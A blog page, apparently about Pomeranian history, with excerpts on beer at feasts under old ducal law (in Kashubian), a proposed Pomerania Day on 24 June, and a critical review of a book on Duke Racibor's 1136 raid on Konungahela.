W prawach pòmòréńsczich ksążãt ò ògrańczenim paradnëch wiesól stoji, co „chbùrzëzna, szôltësowie, mlinôrze, széprowie w naszim kraju mają na wiesola swòjã nôblëższô krewnosc, jednak nié wicé jak trzë stolë, ù kòżdégò pò 10 òsób, (…) wòlac a rôczëc (…), pòd sztrôfą jednégò gùldena za kòżdã nôslédną òsobã (…), téżô przëstoji le dwa môltëcha z trzech zwëczajnëch strôw zrëchtowac, a nôwicé w grëpie 6 béczk piwa wëpic (…).” Kòwale ë gòspòdarze mòglë 15 òsób rôczëc, le dac jim ju le 2 béczczi piwa. Na krzcënach „je mòżno le jeden môltëch, co sã sklôdô z trzech lëchich a zwëczajnëch strôw dac, a nie wicé czim jednã béczka bërszu wëpic.” Téż na òplaczënach òbrzészôl limit blós jedny béczczi. Ò drëdżich nôpitkach w nëch prawach nie stoji nick, z czegò jidze wërozmiôc, co nie pòkazowalë sã na stolach za czãsto. Gwës nié w wieloscy, chtërnã bë bëlo wôrt zanotérowac.


ò piwie wiémë le to, eż tam bëlë gò „sétmëgromòwé wieloscë” – jak jidze z tegò wërozmiôc, nié do pòrechòwaniô.


Bòdżislawów X ë Anë Jagelónczi wieselé bëlo òpisóné jakò òsoblëwie paradné. Znajemë tak richtich wieloscë – mierzoné w béczkach, achtlach, wòzach bądz kòpach – madżarsczich ë jitalsczich win, môlowégò wina, malwazëje, masla, jôj; znajemë wieloscë ùrznionëch wòlów, òwc, celãt, gãsy, swiń ë dzëwich swiń… le ò piwie wiémë le to, eż tam bëlë gò „sétmëgromòwé wieloscë” – jak jidze z tegò wërozmiôc, nié do pòrechòwaniô. Czytaj dalej Bërsz, tej piwò w Pòmòrsce

Dzień Pomorza – 24. czerwca

Mòjn, Pomorzanie!

W naszym kalendarzu świąt na Pomorzu jedną z ciekawszych dat jest z pewnością Dzéń Jednotë Kaszëbów obchodzony 19. marca na pamiątkę pierwszej wzmianki z roku 1238 o szczecińskim „księciu Kaszub” w osobie Bogisława I. Nie jest to jednak jedyna tego typu data, którą z pewnością warto upamiętnić.

24. czerwca 1046 roku, wedle relacji „Roczników altajskich”, wezwał był król niemiecki Henryk III przed swe oblicze trzech skłóconych władców zachodniosłowiańskich. Podług Rocznika byli nimi: Bratizlao dux Boemorum, Kazmir Bolaniorum, Zemuzil Bomeraniorum – czyli książęta Brzetysław czeski, Kazimierz polski, Zemuzil pomorski.


Co jednak jest sprawą najistotniejszą, to fakt, że wzmianka o owym spotkaniu 24. czerwca 1046 roku jest pierwszym, jakie znamy historycznym użyciem nazwy „Pomorze” w dziejach!


Kim był ów „Zemuzil” i dlaczego wzmianka o nim jest tak wyjątkowa? Według E. Rymara był Zemuzil „pierwszym pewnym znanym ogólnoplemiennym księciem Pomorza”, chociaż terenów, jakie obejmowało jego pomorskie władztwo nie sposób sprecyzować. Co jednak jest sprawą najistotniejszą, to fakt, że wzmianka o owym spotkaniu 24. czerwca 1046 roku jest pierwszym, jakie znamy historycznym użyciem nazwy „Pomorze” w dziejach! Czytaj dalej Dzień Pomorza – 24. czerwca

Wielka wyprawa księcia Racibora, czyli mała propaganda Artura Szrejtera

Artur Szrejter jest autorem opowiadań fantasy oraz książek popularyzujących zagadnienia mitologii skandynawskiej, np. Mitologia germańska. Opowieści o bogach mroźnej Północy, Demonologia germańska. Duchy, demony i czarownice, Bestiariusz germański. Potwory, olbrzymy i święte zwierzęta.

Najnowszą pozycją Szrejtera, wydaną nakładem Instytutu Wydawniczego ERICA, jest Wielka wyprawa księcia Racibora. Zdobycie grodu Konungahela przez Słowian w 1136 roku. Tytuł w zasadzie mówi wszystko. Książę Racibor był bratem Warcisława I i po jego śmierci objął władzę w Księstwie Pomorskim, a zdobycie Konungaheli było największym wyczynem, dzięki któremu historia go zapamiętała. Głównym źródłem wiedzy na temat wydarzeń roku 1136 jest dzieło Snorriego Sturlusona Heimskringla (Krąg ziemski, zbiór sag o nordyckich władcach), a w zasadzie jej część, Saga o Magnusie Ślepym i Haraldzie Słudze Bożym. Saga ta zawiera rozbudowany opis – a jak celnie stwierdza Szrejter, opis, który jest sagą w sadze – zwycięskiej wyprawy wojennej pomorskiego księcia Racibora.


Był to początek półwiecznego okresu absolutnej dominacji Pomorzan na Bałtyku, którzy już wcześniej mocno dawali się we znaki Skandynawom.


Owa wyprawa była jedną z większych poświadczonych historycznie rejz Pomorzan. Około 650 okrętów, więcej jak 20 tys. ludzi, około tysiąca koni. Na ich czele książę pomorski z rodu Gryfitów, Racibor (w źródłach: Ratibor). Fenomenalny strateg, mający już na swoim koncie rozbicie w roku 1135 kierującej się na Rugię duńskiej floty króla Eryka II Pamiętnego oraz odwetowe, niszczące uderzenie na ówczesną duńską stolicę – Roskilde. Był to początek półwiecznego okresu absolutnej dominacji Pomorzan na Bałtyku, którzy już wcześniej mocno dawali się we znaki Skandynawom (vide historia szczecińskiego kupca i chąśnika* imieniem Wyszak czy podboje i zasiedlanie wysp południowej Danii). Wyprawa na Konungahelę była strategicznym majstersztykiem. Świetnie przygotowana pomorska armia uderzyła w niedzielne południe – czas wybrany nieprzypadkowo, bowiem w czasie niedzielnej sumy większość mieszczan uczestniczyła we mszy. Błyskawicznie zajęte m.in. przy użyciu konnicy podgrodzie było świetnym punktem wyjścia do dalszych działań przeciw obrońcom grodu. Pomorzanie szturmowali wały kilkukrotnie, wreszcie po zażartych walkach zdobyli umocnienia, zrabowali miasto, jego mieszkańców uprowadzili do niewoli, a sama Konungahela już nigdy nie wróciła do swej niegdysiejszej świetności. Racibor jako zwycięzca powrócił na Pomorze w glorii i chwale, a czasy jego rządów są jednymi z najświetniejszych momentów w historii tego kraju. Nie tylko zdominował militarnie Bałtyk, ale i dość szybko uwolnił się od wpływów państwa Piastów. Po jego śmierci władzę w księstwie przejął jego bratanek, Bogislaw I, pierwszy władca pomorski oficjalnie tytułowany księciem Kaszub. Czytaj dalej Wielka wyprawa księcia Racibora, czyli mała propaganda Artura Szrejtera